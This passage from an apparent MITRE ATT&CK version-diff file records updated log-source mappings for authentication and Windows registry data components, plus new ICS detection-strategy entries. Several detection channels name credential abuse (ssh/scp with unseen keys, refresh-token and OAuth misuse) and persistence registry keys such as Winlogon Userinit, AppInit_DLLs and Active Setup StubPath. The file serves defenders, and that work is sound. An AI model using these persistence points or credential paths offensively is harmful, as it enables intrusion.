\"channel\": \"Login\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Privileged login followed by destructive format command\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"admin login events\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Privileged login followed by destructive command sequence\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Login from newly created account\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of ssh, scp, or sftp using previously unseen credentials or keys\"}, {\"name\": \"m365:unified\", \"channel\": \"login using refresh_token with no preceding authentication context\"}, {\"name\": \"saas:googleworkspace\", \"channel\": \"API access without user login\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4769\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4625\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Interactive/Non-Interactive Sign-In\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AWS IAM: ListUsers, ListRoles\"}, {\"name\": \"gcp:workspaceaudit\", \"channel\": \"Token Generation via Domain Delegation\"}, {\"name\": \"m365:signinlogs\", \"channel\": \"Unusual sign-in from service principal to user mailbox\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"User credential prompt events without associated trusted installer package\"}, {\"name\": \"linux:auth\", \"channel\": \"sshd login\"}, {\"name\": \"saas:googleworkspace\", \"channel\": \"Accessed third-party credential management service\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Reset password or download key from portal\"}, {\"name\": \"linux:syslog\", \"channel\": \"SSH failed login\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Login failure / authorization denied\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"status = failure\"}, {\"name\": \"Okta:authn\", \"channel\": \"authentication_failure\"}, {\"name\": \"saas-app:auth\", \"channel\": \"login_failure\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"AAA, RADIUS, or TACACS authentication\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"authentication.k8s.io/v1beta1\"}, {\"name\": \"m365:exchange\", \"channel\": \"Logon failure\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"eventName=ConsoleLogin | eventType=AwsConsoleSignIn\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4625, 4624\"}, {\"name\": \"auditd:USER_LOGIN\", \"channel\": \"USER_AUTH\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Sign-in logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"auth\"}, {\"name\": \"m365:unified\", \"channel\": \"Sign-in logs\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ConsoleLogin or AssumeRole\"}, {\"name\": \"esxi:auth\", \"channel\": \"/var/log/auth.log\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"authentication logs\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"SigninSuccess\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4625, 4771, 4648\"}, {\"name\": \"linux:syslog\", \"channel\": \"Failed password for invalid user\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Login Window and Authd errors\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Failure Reason + UserPrincipalName\"}, {\"name\": \"saas:okta\", \"channel\": \"authentication_failure\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"AAA or TACACS authentication failures\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"Failed login\"}, {\"name\": \"m365:exchange\", \"channel\": \"FailedLogin\"}, {\"name\": \"saas:auth\", \"channel\": \"signin_failed\"}, {\"name\": \"saas:googleworkspace\", \"channel\": \"login with reused session token and mismatched user agent or IP\"}, {\"name\": \"saas:googleworkspace\", \"channel\": \"Access via OAuth credentials with unusual scopes or from anomalous IPs\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"authentication & authorization\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"4624, 4625\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Sign-in activity\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ConsoleLogin, AssumeRole, ListAccessKeys, CreateUser\"}, {\"name\": \"gcp:audit\", \"channel\": \"drive.activity\"}, {\"name\": \"gcp:audit\", \"channel\": \"login.event\"}, {\"name\": \"linux:syslog\", \"channel\": \"sshd[pid]: Failed password\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"authd\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"login failed\"}, {\"name\": \"GCPAuditLogs:login.googleapis.com\", \"channel\": \"Failed sign-in events\"}, {\"name\": \"esxi:auth\", \"channel\": \"SSH session/login\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventID=4625\"}, {\"name\": \"NSM:Connections\", \"channel\": \"sshd or PAM logins\"}, {\"name\": \"saas:okta\", \"channel\": \"Sign-in logs / audit events\"}, {\"name\": \"gcp:audit\", \"channel\": \"Sign-in logs / audit events\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Sign-in logs / audit events\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"authentication.k8s.io\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4648\"}, {\"name\": \"linux:syslog\", \"channel\": \"authentication and authorization events during environmental validation phase\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:34.948000+00:00\", \"old_value\": \"2025-04-18 15:09:42.067000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0045", + "external_id": "DC0045" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windows Registry Key Deletion", + "description": "The removal of a registry key within the Windows operating system.\n\n*Data Collection Measures:*\n\n- Windows Event Logs\n - Event ID 4658 - Registry Key Handle Closed: Captures when a handle to a registry key is closed, which may indicate deletion.\n - Event ID 4660 - Object Deleted: Logs when a registry key is deleted.\n- Sysmon (System Monitor) for Windows\n - Sysmon Event ID 12 - Registry Key Deleted: Logs when a registry key is removed.\n - Sysmon Event ID 13 - Registry Value Deleted: Captures removal of specific registry values.\n- Endpoint Detection and Response (EDR) Solutions\n - Monitor registry deletions for suspicious behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Windows Registry", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0045\", \"external_id\": \"DC0045\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Windows Registry\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:12:03.268000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-22 18:34:46.572000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0063", + "external_id": "DC0063" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windows Registry Key Modification", + "description": "Changes made to an existing registry key or its values. These modifications can include altering permissions, modifying stored data, or updating configuration settings.\n\n*Data Collection Measures:*\n\n- Windows Event Logs\n - Event ID 4657 - Registry Value Modified: Logs changes to registry values, including modifications to startup entries, security settings, or system configurations.\n- Sysmon (System Monitor) for Windows\n - Sysmon Event ID 13 - Registry Value Set: Captures changes to specific registry values.\n - Sysmon Event ID 14 - Registry Key & Value Renamed: Logs renaming of registry keys, which may indicate evasion attempts.\n- Endpoint Detection and Response (EDR) Solutions\n - Monitor registry modifications for suspicious behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Windows Registry", + "channel": "None" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=14" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "StubPath value written under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components" + }, + { + "name": "m365:unified", + "channel": "MacroSecuritySettingsChanged or SafeModeDisabled" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13, 14" + }, + { + "name": "WinEventLog:Security", + "channel": "modification to Winlogon registry keys such as Shell, Notify, or Userinit" + }, + { + "name": "WinEventLog:Security", + "channel": "Registry key modification HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient\\EnableMulticast" + }, + { + "name": "macos:unifiedlog", + "channel": "g_CiOptions modification or SIP state change" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Autoruns reports DLLs in AppInit_DLLs key" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0063\", \"external_id\": \"DC0063\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Windows Registry\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=13\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4657\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=14\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4670\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"StubPath value written under HKLM\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\"}, {\"name\": \"m365:unified\", \"channel\": \"MacroSecuritySettingsChanged or SafeModeDisabled\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=13, 14\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"modification to Winlogon registry keys such as Shell, Notify, or Userinit\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"Registry key modification HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\DNSClient\\\\EnableMulticast\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"g_CiOptions modification or SIP state change\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Autoruns reports DLLs in AppInit_DLLs key\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 18:34:46.572000+00:00\", \"old_value\": \"2025-04-18 15:11:59.993000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + } + ], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "detectionstrategies": { + "additions": [ + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6d2ba563-0aa9-4f64-a14d-da62b694b495", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0802", + "external_id": "DET0802" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Activate Firmware Update Mode", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--96e7b86f-b960-489c-882b-9dcdb1c44aa9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b6a6d95c-e3b5-438d-a095-3fb0859c8f45", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0764", + "external_id": "DET0764" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Adversary-in-the-Middle", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--afc9e394-147e-49db-81df-953d2d3ea93e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--105c127f-2777-452e-bf61-b0786ee13861", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0728", + "external_id": "DET0728" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Alarm Suppression", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--edd8297d-ec63-4b54-8d28-106f228dd535" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--442bf059-f7cf-460b-8200-f35e1e0a0c78", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0734", + "external_id": "DET0734" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Automated Collection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e25ef816-bbfd-4656-8ecb-c7eebcba31d4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--930b268b-abf0-485f-9854-60c1cfdd2d33", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0748", + "external_id": "DET0748" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Autorun Image", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2a1619a7-dd27-48e4-b56f-806cb3d2e405", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0784", + "external_id": "DET0784" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Block Command Message", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--11a350cf-1ea0-4065-877b-c3bb410bf3a0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--05f7d4e4-ae99-4339-b71a-59f1e317dc6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0789", + "external_id": "DET0789" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Block Reporting Message", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--393d7e7b-0790-49e7-9bcd-87ab4662b05e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4ea060f9-f6fc-4122-9544-70afd567ea10", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0797", + "external_id": "DET0797" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Block Serial COM", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--354b93da-06e9-4634-a5fd-7f9b7b3a9d5a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3ea60ac7-87a3-4033-9089-258941d8388a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0737", + "external_id": "DET0737" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Brute Force I/O", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--77857bc3-6a38-4826-8109-30facf6c23ec" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--336b9423-5543-4354-bd00-13c614ccdc96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0771", + "external_id": "DET0771" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Change Credential", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d3023733-5874-4746-a947-65925514e382" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fddbd892-faa2-40e1-b40d-2c6e33c00f14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0755", + "external_id": "DET0755" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Change Operating Mode", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--78615cd7-6a14-4921-aaa9-2aae0774f0f1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c0abb110-c80e-4d6a-9f27-f2783f8bbfec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0760", + "external_id": "DET0760" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Command-Line Interface", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7107739b-92d2-41fa-9fc8-ebe72f6086ee" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--33dd1c37-1702-4de2-9712-fcc640e4b681", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0736", + "external_id": "DET0736" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Commonly Used Port", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--981b659b-992a-4d71-9404-0e1b2b598e50" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--887ae691-a519-4b68-af26-bcea1483cef7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0759", + "external_id": "DET0759" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Connection Proxy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ece52da2-ac60-4b0e-863f-ebbc95118a8c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f9b7143b-ce86-4cfb-a03a-f39c01904fb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0762", + "external_id": "DET0762" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Damage to Property", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--636e612f-0b63-44e8-bf2c-31b62d20508b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--edf989d8-7e25-4ed2-b289-a55dee68a75e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0758", + "external_id": "DET0758" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Data Destruction", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f666f516-f8d0-41f6-9a4c-0ac6c1f6086b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a366d027-d797-4957-949a-870aed0766dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0754", + "external_id": "DET0754" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Data from Information Repositories", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + 